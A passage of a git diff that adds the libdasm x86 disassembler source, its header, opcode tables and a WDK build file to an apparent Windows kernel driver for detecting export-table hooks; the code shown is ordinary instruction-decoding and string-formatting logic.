OPERAND_TYPE_MEMORY) && + (inst->op2.type != OPERAND_TYPE_MEMORY)) + snprintf(string + strlen(string), length - strlen(string), + "%s ", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]); + + // Rep, lock etc. + if (MASK_PREFIX_G1(inst->flags) && + (MASK_EXT(inst->flags) != EXT_T2)) + snprintf(string + strlen(string), length - strlen(string), + "%s", rep_table[(MASK_PREFIX_G1(inst->flags)) - 1]); + + // Opcode extensions + if (MASK_EXT(inst->flags) && + (MASK_EXT(inst->flags) != EXT_T2) && + (MASK_EXT(inst->flags) != EXT_CP)) { + ext = ext_name_table[(MASK_EXT(inst->flags)) - 1][inst->extindex]; + snprintf(string + strlen(string), length - strlen(string), + "%s", ext); + } else { + snprintf(string + strlen(string), length - strlen(string), + "%s", inst->ptr->mnemonic); + } + + // memory operation size in immediate to memory operations + // XXX: also, register -> memory operations when size is different + if (inst->ptr->modrm && (MASK_MODRM_MOD(inst->modrm) != 3) && + (MASK_AM(inst->op2.flags) == AM_I)) { + + switch (MASK_OT(inst->op1.flags)) { + case OT_b: + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? + "b" : " byte"); + break; + case OT_w: + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? + "w" : " word"); + break; + case OT_d: + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? + "l" : " dword"); + break; + case OT_v: + if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) || + ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1))) + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? + "l" : " dword"); + else + snprintf(string + strlen(string), length - strlen(string), + "%s", (format == FORMAT_ATT) ? + "w" : " word"); + break; + } + } + return 1; +} + +// Print operands + +int get_operands_string(INSTRUCTION *inst, enum Format format, DWORD offset, + char *string, int length) { + + if (format == FORMAT_ATT) { + if (inst->op3.type != OPERAND_TYPE_NONE) { + get_operand_string(inst, &inst->op3, format, offset, + string + strlen(string), length - strlen(string)); + snprintf(string + strlen(string), length - strlen(string), ","); + } + if (inst->op2.type != OPERAND_TYPE_NONE) { + get_operand_string(inst, &inst->op2, format, offset, + string + strlen(string), length - strlen(string)); + snprintf(string + strlen(string), length - strlen(string), ","); + } + if (inst->op1.type != OPERAND_TYPE_NONE) + get_operand_string(inst, &inst->op1, format, offset, + string + strlen(string), length - strlen(string)); + } else if (format == FORMAT_INTEL) { + if (inst->op1.type != OPERAND_TYPE_NONE) + get_operand_string(inst, &inst->op1, format, offset, + string + strlen(string), length - strlen(string)); + if (inst->op2.type != OPERAND_TYPE_NONE) { + snprintf(string + strlen(string), length - strlen(string), ","); + get_operand_string(inst, &inst->op2, format, offset, + string + strlen(string), length - strlen(string)); + } + if (inst->op3.type != OPERAND_TYPE_NONE) { + snprintf(string + strlen(string), length - strlen(string), ","); + get_operand_string(inst, &inst->op3, format, offset, + string + strlen(string), length - strlen(string)); + } + } else + return 0; + + return 1; +} + +// Print instruction mnemonic, prefixes and operands + +int get_instruction_string(INSTRUCTION *inst, enum Format format, DWORD offset, + char *string, int length) { + + // Print the actual instruction string with possible prefixes etc. + get_mnemonic_string(inst, format, string, length); + + snprintf(string + strlen(string), length - strlen(string), " "); + + // Print operands + if (!get_operands_string(inst, format, offset, + string + strlen(string), length - strlen(string))) + return 0; + + return 1; +} + +#endif + +// Helper functions + +int get_register_type(POPERAND op) { + + if (op->type != OPERAND_TYPE_REGISTER) + return 0; + switch (MASK_AM(op->flags)) { + case AM_REG: + if (MASK_FLAGS(op->flags) == F_r) + return REGISTER_TYPE_SEGMENT; + else if (MASK_FLAGS(op->flags) == F_f) + return REGISTER_TYPE_FPU; + else + return REGISTER_TYPE_GEN; + case AM_E: + case AM_G: + case AM_R: + return REGISTER_TYPE_GEN; + case AM_C: + return REGISTER_TYPE_CONTROL; + case AM_D: + return REGISTER_TYPE_DEBUG; + case AM_S: + return REGISTER_TYPE_SEGMENT; + case AM_T: + return REGISTER_TYPE_TEST; + case AM_P: + case AM_Q: + return REGISTER_TYPE_MMX; + case AM_V: + case AM_W: + return REGISTER_TYPE_XMM; + default: + break; + } + return 0; +} + +int get_operand_type(POPERAND op) { + return op->type; +} + +int get_operand_register(POPERAND op) { + return op->reg; +} + +int get_operand_basereg(POPERAND op) { + return op->basereg; +} + +int get_operand_indexreg(POPERAND op) { + return op->indexreg; +} + +int get_operand_scale(POPERAND op) { + return op->scale; +} + +int get_operand_immediate(POPERAND op, DWORD *imm) { + if (op->immbytes) { + *imm = op->immediate; + return 1; + } else + return 0; +} + +int get_operand_displacement(POPERAND op, DWORD *disp) { + if (op->dispbytes) { + *disp = op->displacement; + return 1; + } else + return 0; +} + +// XXX: note that source and destination are not always literal + +POPERAND get_source_operand(PINSTRUCTION inst) { + if (inst->op2.type != OPERAND_TYPE_NONE) + return &inst->op2; + else + return NULL; +} +POPERAND get_destination_operand(PINSTRUCTION inst) { + if (inst->op1.type != OPERAND_TYPE_NONE) + return &inst->op1; + else + return NULL; +} + + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.h new file mode 100644 index 00000000..6ac4876b --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.h @@ -0,0 +1,515 @@ + +/* + * libdasm -- simple x86 disassembly library + * (c) 2004 - 2005 jt / nologin.org + * + */ + + +#ifndef _LIBDASM_H +#define _LIBDASM_H + + +#ifdef __cplusplus +extern "C" { +#endif + +#define __LIBDASM_VERSION__ 0x01020000 + +#define GET_VERSION_MAJOR \ + (__LIBDASM_VERSION__ & 0xff000000) >> 24 +#define GET_VERSION_MINOR1 \ + (__LIBDASM_VERSION__ & 0x00ff0000) >> 16 +#define GET_VERSION_MINOR2 \ + (__LIBDASM_VERSION__ & 0x0000ff00) >> 8 +#define GET_VERSION_MINOR3 \ + (__LIBDASM_VERSION__ & 0x000000ff) + +// Data types + +#if _WIN32 +//#include +#define __inline__ __inline +#define snprintf _snprintf +typedef unsigned __int64 QWORD; // for MSVC +typedef signed __int8 SBYTE; +typedef signed __int16 SWORD; +typedef signed __int32 SDWORD; +typedef signed __int64 SQWORD; +#else +#if defined __sun +#define BYTE_ORDER 1234 +#define BIG_ENDIAN 1234 +#define LITTLE_ENDIAN 4321 +#define u_int8_t uint8_t +#define u_int16_t uint16_t +#define u_int32_t uint32_t +#define u_int64_t uint64_t + +#endif // other *nix +#include +typedef u_int8_t BYTE; +typedef u_int16_t WORD; +typedef u_int32_t DWORD; +typedef u_int64_t QWORD; +typedef int8_t SBYTE; +typedef int16_t SWORD; +typedef int32_t SDWORD; +typedef int64_t SQWORD; +#endif + +// Define endianess + +#ifndef __X86__ +// These should catch x86 with most compilers +#if defined _X86_ || defined _i386_ || defined __i386__ +#define __X86__ +#endif +#endif + +#ifndef __LITTLE_ENDIAN__ +// These should catch little-endian with most compilers +#if (BYTE_ORDER == LITTLE_ENDIAN) || defined __X86__ || defined _ALPHA_ +#define __LITTLE_ENDIAN__ +#endif +#endif + +typedef unsigned long DWORD; +typedef unsigned long *PDWORD; +typedef unsigned short WORD; +typedef unsigned char BYTE; +typedef unsigned char *PBYTE; +//typedef unsigned short HMODULE; + + + +// Registers +#define REGISTER_EAX 0 +#define REGISTER_ECX 1 +#define REGISTER_EDX 2 +#define REGISTER_EBX 3 +#define REGISTER_ESP 4 +#define REGISTER_EBP 5 +#define REGISTER_ESI 6 +#define REGISTER_EDI 7 +#define REGISTER_NOP 10 // no register defined + +// Registers +#define MASK_REG(x) ((x) & 0x000000FF) +#define REG_EAX REGISTER_EAX +#define REG_AX REG_EAX +#define REG_AL REG_EAX +#define REG_ES REG_EAX // Just for reg_table consistence +#define REG_ST0 REG_EAX // Just for reg_table consistence +#define REG_ECX REGISTER_ECX +#define REG_CX REG_ECX +#define REG_CL REG_ECX +#define REG_CS REG_ECX +#define REG_ST1 REG_ECX +#define REG_EDX REGISTER_EDX +#define REG_DX REG_EDX +#define REG_DL REG_EDX +#define REG_SS REG_EDX +#define REG_ST2 REG_EDX +#define REG_EBX REGISTER_EBX +#define REG_BX REG_EBX +#define REG_BL REG_EBX +#define REG_DS REG_EBX +#define REG_ST3 REG_EBX +#define REG_ESP REGISTER_ESP +#define REG_SP REG_ESP +#define REG_AH REG_ESP // Just for reg_table consistence +#define REG_FS REG_ESP +#define REG_ST4 REG_ESP +#define REG_EBP REGISTER_EBP +#define REG_BP REG_EBP +#define REG_CH REG_EBP +#define REG_GS REG_EBP +#define REG_ST5 REG_EBP +#define REG_ESI REGISTER_ESI +#define REG_SI REG_ESI +#define REG_DH REG_ESI +#define REG_ST6 REG_ESI +#define REG_EDI REGISTER_EDI +#define REG_DI REG_EDI +#define REG_BH REG_EDI +#define REG_ST7 REG_EDI +#define REG_NOP REGISTER_NOP + +// Register types +#define REGISTER_TYPE_GEN 1 +#define REGISTER_TYPE_SEGMENT 2 +#define REGISTER_TYPE_DEBUG 3 +#define REGISTER_TYPE_CONTROL 4 +#define REGISTER_TYPE_TEST 5 +#define REGISTER_TYPE_XMM 6 +#define REGISTER_TYPE_MMX 7 +#define REGISTER_TYPE_FPU 8 + +// Disassembling mode +enum Mode { + MODE_32, // 32-bit + MODE_16 // 16-bit +}; + +// Disassembling format +enum Format { + FORMAT_ATT, + FORMAT_INTEL, +}; + +// Instruction types (just the most common ones atm) +enum Instruction { + // Integer instructions + INSTRUCTION_TYPE_ASC, // aaa, aam, etc. + INSTRUCTION_TYPE_DCL, // daa, das + INSTRUCTION_TYPE_MOV, + INSTRUCTION_TYPE_MOVSR, // segment register + INSTRUCTION_TYPE_ADD, + INSTRUCTION_TYPE_XADD, + INSTRUCTION_TYPE_ADC, + INSTRUCTION_TYPE_SUB, + INSTRUCTION_TYPE_SBB, + INSTRUCTION_TYPE_INC, + INSTRUCTION_TYPE_DEC, + INSTRUCTION_TYPE_DIV, + INSTRUCTION_TYPE_IDIV, + INSTRUCTION_TYPE_NOT, + INSTRUCTION_TYPE_NEG, + INSTRUCTION_TYPE_STOS, + INSTRUCTION_TYPE_LODS, + INSTRUCTION_TYPE_SCAS, + INSTRUCTION_TYPE_MOVS, + INSTRUCTION_TYPE_MOVSX, + INSTRUCTION_TYPE_MOVZX, + INSTRUCTION_TYPE_CMPS, + INSTRUCTION_TYPE_SHX, // signed/unsigned shift left/right + INSTRUCTION_TYPE_ROX, // signed/unsigned rot left/right + INSTRUCTION_TYPE_MUL, + INSTRUCTION_TYPE_IMUL, + INSTRUCTION_TYPE_EIMUL, // "extended" imul with 2-3 operands + INSTRUCTION_TYPE_XOR, + INSTRUCTION_TYPE_LEA, + INSTRUCTION_TYPE_XCHG, + INSTRUCTION_TYPE_CMP, + INSTRUCTION_TYPE_TEST, + INSTRUCTION_TYPE_PUSH, + INSTRUCTION_TYPE_AND, + INSTRUCTION_TYPE_OR, + INSTRUCTION_TYPE_POP, + INSTRUCTION_TYPE_JMP, + INSTRUCTION_TYPE_JMPC, // conditional jump + INSTRUCTION_TYPE_SETC, // conditional byte set + INSTRUCTION_TYPE_MOVC, // conditional mov + INSTRUCTION_TYPE_LOOP, + INSTRUCTION_TYPE_CALL, + INSTRUCTION_TYPE_RET, + INSTRUCTION_TYPE_INT, // interrupt + INSTRUCTION_TYPE_BT, // bit tests + INSTRUCTION_TYPE_BTS, + INSTRUCTION_TYPE_BTR, + INSTRUCTION_TYPE_BTC, + INSTRUCTION_TYPE_BSF, + INSTRUCTION_TYPE_BSR, + INSTRUCTION_TYPE_BSWAP, + INSTRUCTION_TYPE_SGDT, + INSTRUCTION_TYPE_SIDT, + INSTRUCTION_TYPE_SLDT, + INSTRUCTION_TYPE_LFP, + // FPU instructions + INSTRUCTION_TYPE_FCMOVC, // float conditional mov + INSTRUCTION_TYPE_FADD, + INSTRUCTION_TYPE_FADDP, + INSTRUCTION_TYPE_FIADD, + INSTRUCTION_TYPE_FSUB, + INSTRUCTION_TYPE_FSUBP, + INSTRUCTION_TYPE_FISUB, + INSTRUCTION_TYPE_FSUBR, + INSTRUCTION_TYPE_FSUBRP, + INSTRUCTION_TYPE_FISUBR, + INSTRUCTION_TYPE_FMUL, + INSTRUCTION_TYPE_FMULP, + INSTRUCTION_TYPE_FIMUL, + INSTRUCTION_TYPE_FDIV, + INSTRUCTION_TYPE_FDIVP, + INSTRUCTION_TYPE_FDIVR, + INSTRUCTION_TYPE_FDIVRP, + INSTRUCTION_TYPE_FIDIV, + INSTRUCTION_TYPE_FIDIVR, + INSTRUCTION_TYPE_FCOM, + INSTRUCTION_TYPE_FCOMP, + INSTRUCTION_TYPE_FCOMPP, + INSTRUCTION_TYPE_FCOMI, + INSTRUCTION_TYPE_FCOMIP, + INSTRUCTION_TYPE_FUCOM, + INSTRUCTION_TYPE_FUCOMP, + INSTRUCTION_TYPE_FUCOMPP, + INSTRUCTION_TYPE_FUCOMI, + INSTRUCTION_TYPE_FUCOMIP, + INSTRUCTION_TYPE_FST, + INSTRUCTION_TYPE_FSTP, + INSTRUCTION_TYPE_FIST, + INSTRUCTION_TYPE_FISTP, + INSTRUCTION_TYPE_FISTTP, + INSTRUCTION_TYPE_FLD, + INSTRUCTION_TYPE_FILD, + INSTRUCTION_TYPE_FICOM, + INSTRUCTION_TYPE_FICOMP, + INSTRUCTION_TYPE_FFREE, + INSTRUCTION_TYPE_FFREEP, + INSTRUCTION_TYPE_FXCH, + INSTRUCTION_TYPE_FPU, // Other FPU instructions + + INSTRUCTION_TYPE_MMX, // Other MMX instructions + + INSTRUCTION_TYPE_SSE, // Other SSE instructions + + INSTRUCTION_TYPE_OTHER, // Other instructions :-) + INSTRUCTION_TYPE_PRIV // Privileged instruction +}; + +// Operand types +enum Operand { + OPERAND_TYPE_NONE, // operand not present + OPERAND_TYPE_MEMORY, // memory operand ([eax], [0], etc.) + OPERAND_TYPE_REGISTER, // register operand (eax, mm0, etc.) + OPERAND_TYPE_IMMEDIATE, // immediate operand (0x1234) +}; + +// Structure definitions + +// struct INST is used internally by the library +typedef struct _INST { + enum Instruction type; // Instruction type + const char *mnemonic; // Instruction mnemonic + int flags1; // First operand flags (if any) + int flags2; // Second operand flags (if any) + int flags3; // Additional operand flags (if any) + int modrm; // Is MODRM byte present? +} INST, *PINST; + +// Operands for the instruction +typedef struct _OPERAND { + enum Operand type; // Operand type (register, memory, etc) + int reg; // Register (if any) + int basereg; // Base register (if any) + int indexreg; // Index register (if any) + int scale; // Scale (if any) + int dispbytes; // Displacement bytes (0 = no displacement) + int dispoffset; // Displacement value offset + int immbytes; // Immediate bytes (0 = no immediate) + int immoffset; // Immediate value offset + int sectionbytes; // Section prefix bytes (0 = no section prefix) + WORD section; // Section prefix value + DWORD displacement; // Displacement value + DWORD immediate; // Immediate value + int flags; // Operand flags +} OPERAND, *POPERAND; + +// struct INSTRUCTION is used to interface the library +typedef struct _INSTRUCTION { + int length; // Instruction length + enum Instruction type; // Instruction type + enum Mode mode; // Addressing mode + BYTE opcode; // Actual opcode + BYTE modrm; // MODRM byte + BYTE sib; // SIB byte + int extindex; // Extension table index + int fpuindex; // FPU table index + int dispbytes; // Displacement bytes (0 = no displacement) + int immbytes; // Immediate bytes (0 = no immediate) + int sectionbytes; // Section prefix bytes (0 = no section prefix) + OPERAND op1; // First operand (if any) + OPERAND op2; // Second operand (if any) + OPERAND op3; // Additional operand (if any) + PINST ptr; // Pointer to instruction table + int flags; // Instruction flags +} INSTRUCTION, *PINSTRUCTION; + + +// Function definitions + +int get_instruction( + INSTRUCTION *inst, // pointer to INSTRUCTION structure + BYTE *addr, // code buffer + enum Mode mode // mode: MODE_32 or MODE_16 +); + +// Get complete instruction string +int get_instruction_string( + INSTRUCTION *inst, // pointer to INSTRUCTION structure + enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL + DWORD offset, // instruction absolute address + char *string, // string buffer + int length // string length +); + +// Get mnemonic string +int get_mnemonic_string( + INSTRUCTION *inst, // pointer to INSTRUCTION structure + enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL + char *string, // string buffer + int length // string length +); + +// Get individual operand string +int get_operand_string( + INSTRUCTION *inst, // pointer to INSTRUCTION structure + POPERAND op, // pointer to OPERAND structure + enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL + DWORD offset, // instruction absolute address + char *string, // string buffer + int length // string length +); + +// Helper functions + +int get_register_type( + POPERAND op +); +int get_operand_type( + POPERAND op +); +int get_operand_register( + POPERAND op +); +int get_operand_basereg( + POPERAND op +); +int get_operand_indexreg( + POPERAND op +); +int get_operand_scale( + POPERAND op +); +int get_operand_immediate( + POPERAND op, + DWORD *imm // returned immediate value +); +int get_operand_displacement( + POPERAND op, + DWORD *disp // returned displacement value +); +POPERAND get_source_operand( + PINSTRUCTION inst +); +POPERAND get_destination_operand( + PINSTRUCTION inst +); + + +// Instruction prefix groups + +// Group 1 +#define MASK_PREFIX_G1(x) ((x) & 0xFF000000) >> 24 +#define PREFIX_LOCK 0x01000000 // 0xf0 +#define PREFIX_REPNE 0x02000000 // 0xf2 +#define PREFIX_REP 0x03000000 // 0xf3 +#define PREFIX_REPE 0x03000000 // 0xf3 +// Group 2 +#define MASK_PREFIX_G2(x) ((x) & 0x00FF0000) >> 16 +#define PREFIX_ES_OVERRIDE 0x00010000 // 0x26 +#define PREFIX_CS_OVERRIDE 0x00020000 // 0x2e +#define PREFIX_SS_OVERRIDE 0x00030000 // 0x36 +#define PREFIX_DS_OVERRIDE 0x00040000 // 0x3e +#define PREFIX_FS_OVERRIDE 0x00050000 // 0x64 +#define PREFIX_GS_OVERRIDE 0x00060000 // 0x65 +// Group 3 & 4 +#define MASK_PREFIX_G3(x) ((x) & 0x0000FF00) >> 8 +#define MASK_PREFIX_OPERAND(x) ((x) & 0x00000F00) >> 8 +#define MASK_PREFIX_ADDR(x) ((x) & 0x0000F000) >> 12 +#define PREFIX_OPERAND_SIZE_OVERRIDE 0x00000100 // 0x66 +#define PREFIX_ADDR_SIZE_OVERRIDE 0x00001000 // 0x67 + + +// Extensions +#define MASK_EXT(x) ((x) & 0x000000FF) +#define EXT_G1 0x00000001 +#define EXT_G2 0x00000002 +#define EXT_G3 0x00000003 +#define EXT_G4 0x00000004 +#define EXT_G5 0x00000005 +#define EXT_G6 0x00000006 +#define EXT_G7 0x00000007 +#define EXT_G8 0x00000008 +#define EXT_G9 0x00000009 +#define EXT_GA 0x0000000a +#define EXT_GB 0x0000000b +#define EXT_GC 0x0000000c +#define EXT_GD 0x0000000d +#define EXT_GE 0x0000000e +#define EXT_GF 0x0000000f +#define EXT_G0 0x00000010 + +// Extra groups for 2 and 3-byte opcodes, and FPU stuff +#define EXT_T2 0x00000020 // opcode table 2 +#define EXT_CP 0x00000030 // co-processor + +// Operand flags +#define FLAGS_NONE 0 + +// Operand Addressing Methods, from the Intel manual +#define MASK_AM(x) ((x) & 0x00FF0000) +#define AM_A 0x00010000 // Direct address with segment prefix +#define AM_C 0x00020000 // MODRM reg field defines control register +#define AM_D 0x00030000 // MODRM reg field defines debug register +#define AM_E 0x00040000 // MODRM byte defines reg/memory address +#define AM_G 0x00050000 // MODRM byte defines general-purpose reg +#define AM_I 0x00060000 // Immediate data follows +#define AM_J 0x00070000 // Immediate value is relative to EIP +#define AM_M 0x00080000 // MODRM mod field can refer only to memory +#define AM_O 0x00090000 // Displacement follows (without modrm/sib) +#define AM_P 0x000a0000 // MODRM reg field defines MMX register +#define AM_Q 0x000b0000 // MODRM defines MMX register or memory +#define AM_R 0x000c0000 // MODRM mod field can only refer to register +#define AM_S 0x000d0000 // MODRM reg field defines segment register +#define AM_T 0x000e0000 // MODRM reg field defines test register +#define AM_V 0x000f0000 // MODRM reg field defines XMM register +#define AM_W 0x00100000 // MODRM defines XMM register or memory +// Extra addressing modes used in this implementation +#define AM_I1 0x00200000 // Immediate byte 1 encoded in instruction +#define AM_REG 0x00210000 // Register encoded in instruction + +// Operand Types, from the intel manual +#define MASK_OT(x) ((x) & 0xFF000000) +#define OT_a 0x01000000 +#define OT_b 0x02000000 // always 1 byte +#define OT_c 0x03000000 // byte or word, depending on operand +#define OT_d 0x04000000 // double-word +#define OT_q 0x05000000 // quad-word +#define OT_dq 0x06000000 // double quad-word +#define OT_v 0x07000000 // word or double-word, depending on operand +#define OT_w 0x08000000 // always word +#define OT_p 0x09000000 // 32-bit or 48-bit pointer +#define OT_pi 0x0a000000 // quadword MMX register +#define OT_pd 0x0b000000 // 128-bit double-precision float +#define OT_ps 0x0c000000 // 128-bit single-precision float +#define OT_s 0x0d000000 // 6-byte pseudo descriptor +#define OT_sd 0x0e000000 // Scalar of 128-bit double-precision float +#define OT_ss 0x0f000000 // Scalar of 128-bit single-precision float +#define OT_si 0x10000000 // Doubleword integer register +#define OT_t 0x11000000 // 80-bit packed FP data + +// Additional operand flags +#define MASK_FLAGS(x) ((x) & 0x0000FF00) +#define F_s 0x00000100 // sign-extend 1-byte immediate +#define F_r 0x00000200 // use segment register +#define F_f 0x00000300 // use FPU register + + +// MODRM byte +#define MASK_MODRM_MOD(x) (((x) & 0xc0) >> 6) +#define MASK_MODRM_REG(x) (((x) & 0x38) >> 3) +#define MASK_MODRM_RM(x) ((x) & 0x7) + +// SIB byte +#define MASK_SIB_SCALE(x) MASK_MODRM_MOD(x) +#define MASK_SIB_INDEX(x) MASK_MODRM_REG(x) +#define MASK_SIB_BASE(x) MASK_MODRM_RM(x) + + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/sources b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/sources new file mode 100644 index 00000000..c7e30fac --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/sources @@ -0,0 +1,18 @@ +TARGETNAME=CheckKernelHook +#TARGETPATH=$(BASEDIR)\lib +TARGETPATH=obj +TARGETTYPE=DRIVER + +INCLUDES=.\ + +SOURCES= \ +DriverEntry.c \ +Common.c \ +KernelHookCheck.c \ +Reload.c \ +FileSystem.c \ +FixRelocation.c \ +KernelReload.c \ +libdasm.c + + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/tables.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/tables.h new file mode 100644 index 00000000..0116803a --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/tables.h @@ -0,0 +1,2142 @@ + +/* + * libdasm -- simple x86 disassembly library + * (c) 2004 - 2005 jt / nologin.org + * + * Opcode tables for FPU, 1, 2 and 3-byte opcodes and + * extensions. + * + */ + +#include "libdasm.h" + + +// lock/rep prefix name table +const char *rep_table[] = { + "lock ", "repne ", "rep " +}; + +// Register name table +const char *reg_table[10][8] = { + { "eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi" }, + { "ax", "cx", "dx", "bx", "sp", "bp", "si", "di" }, + { "al", "cl", "dl", "bl", "ah", "ch", "dh", "bh" }, + { "es", "cs", "ss", "ds", "fs", "gs", "seg6", "seg7" }, + { "dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7" }, + { "cr0", "cr1", "cr2", "cr3", "cr4", "cr5", "cr6", "cr7" }, + { "tr0", "tr1", "tr2", "tr3", "tr4", "tr5", "tr6", "tr7" }, + { "xmm0", "xmm1", "xmm2", "xmm3", "xmm4", "xmm5", "xmm6", "xmm7" }, + { "mm0", "mm1", "mm2", "mm3", "mm4", "mm5", "mm6", "mm7" }, + { "st(0)","st(1)","st(2)","st(3)","st(4)","st(5)","st(6)","st(7)"}, +}; + +// Name table index +#define REG_GEN_DWORD 0 +#define REG_GEN_WORD 1 +#define REG_GEN_BYTE 2 +#define REG_SEGMENT 3 +#define REG_DEBUG 4 +#define REG_CONTROL 5 +#define REG_TEST 6 +#define REG_XMM 7 +#define REG_MMX 8 +#define REG_FPU 9 + +// Opcode extensions for one -and two-byte opcodes +// XXX: move these to proper instruction structures ASAP! + +const char * ext_name_table[16][8] = { + { "add", "or", "adc", "sbb", "and", "sub", "xor", "cmp" }, // g1 + { "rol", "ror", "rcl", "rcr", "shl", "shr", NULL, "sar" }, // g2 + { "test", NULL, "not", "neg", "mul", "imul", "div", "idiv" }, // g3 + { "inc", "dec", NULL, NULL, NULL, NULL, NULL, NULL }, // g4 + { "inc", "dec", "call", "callf", "jmp", "jmpf", "push", NULL }, // g5 + { "sldt", "str", "lldt", "ltr", "verr", "verw", NULL, NULL }, // g6 + { "sgdt", "sidt", "lgdt", "lidt", "smsw", NULL, "lmsw", "invlpg" }, // g7 + { NULL, NULL, NULL, NULL, "bt", "bts", "btr", "btc" }, // g8 + { NULL, "cmpxch", NULL, NULL, NULL, NULL, NULL, NULL }, // g9 + { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }, // ga + { "mov", NULL, NULL, NULL, NULL, NULL, NULL, NULL }, // gb + { NULL, NULL, "psrlw", NULL, "psraw", NULL, "psllw", NULL }, // gc + { NULL, NULL, "psrld", NULL, "psrad", NULL, "pslld", NULL }, // gd + // XXX: if 2-byte extension, 4th and 8th are not defined.. + { NULL, NULL, "psrlq", "psrldq", NULL, NULL, "psllq", "pslldq" }, // gd + { "fxsave", "fxrstor", "ldmxc5r", "stmxc5r", NULL, NULL, NULL, "sfence" }, // gf + { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }, // g0 +}; + +// Instruction types for extensions +// XXX: move these to proper instruction structures ASAP! + +enum Instruction ext_type_table[16][8] = { + { // g1 + INSTRUCTION_TYPE_ADD, INSTRUCTION_TYPE_OR, + INSTRUCTION_TYPE_ADC, INSTRUCTION_TYPE_SBB, + INSTRUCTION_TYPE_AND, INSTRUCTION_TYPE_SUB, + INSTRUCTION_TYPE_XOR, INSTRUCTION_TYPE_CMP, + }, + { // g2 + INSTRUCTION_TYPE_ROX, INSTRUCTION_TYPE_ROX, + INSTRUCTION_TYPE_ROX, INSTRUCTION_TYPE_ROX, + INSTRUCTION_TYPE_SHX, INSTRUCTION_TYPE_SHX, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_SHX, + }, + { // g3 + INSTRUCTION_TYPE_TEST, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_NOT, INSTRUCTION_TYPE_NEG, + INSTRUCTION_TYPE_MUL, INSTRUCTION_TYPE_IMUL, + INSTRUCTION_TYPE_DIV, INSTRUCTION_TYPE_IDIV, + }, + { // g4 + INSTRUCTION_TYPE_INC, INSTRUCTION_TYPE_DEC, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + }, + { // g5 + INSTRUCTION_TYPE_INC, INSTRUCTION_TYPE_DEC, + INSTRUCTION_TYPE_CALL, INSTRUCTION_TYPE_CALL, + INSTRUCTION_TYPE_JMP, INSTRUCTION_TYPE_JMP, + INSTRUCTION_TYPE_PUSH, INSTRUCTION_TYPE_OTHER, + }, + { // g6 + INSTRUCTION_TYPE_SLDT, INSTRUCTION_TYPE_PRIV, + INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV, + INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV, + INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV, + }, + { // g7 + INSTRUCTION_TYPE_SGDT, INSTRUCTION_TYPE_SIDT, + INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV, + INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV, + INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV, + }, + { // g8 + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_BT, INSTRUCTION_TYPE_BTS, + INSTRUCTION_TYPE_BTR, INSTRUCTION_TYPE_BTC, + }, + { // g9 + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + }, + { // ga + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + }, + { // gb + INSTRUCTION_TYPE_MOV, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + }, + { // gc + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER, + 